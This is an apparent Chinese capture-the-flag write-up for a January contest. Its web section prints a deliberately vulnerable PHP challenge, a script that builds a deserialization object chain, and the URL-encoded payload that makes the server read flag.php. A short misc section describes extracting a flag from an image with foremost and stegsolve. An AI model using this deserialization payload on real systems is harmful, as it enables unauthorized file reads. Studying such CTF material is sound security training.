安恒杯1月赛wp

web

babygo

题目源码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

这个和前几天博客讨论的反序列化pop链构造是一样的，直接放上payload

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new cool();
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename = 'flag.php';     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

$a = new baby();
$a = serialize($a);
$a = urlencode($a);
echo $a;
?>

得到下面这串字符串：

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

加入题目进行验证

成功获得flag

MISC

zhunianjixiang

题目是一张图片

用foremost对文件提取，得到两张图片

扫描二维码

提示二维码有古怪

拖到stegsolve后发现flag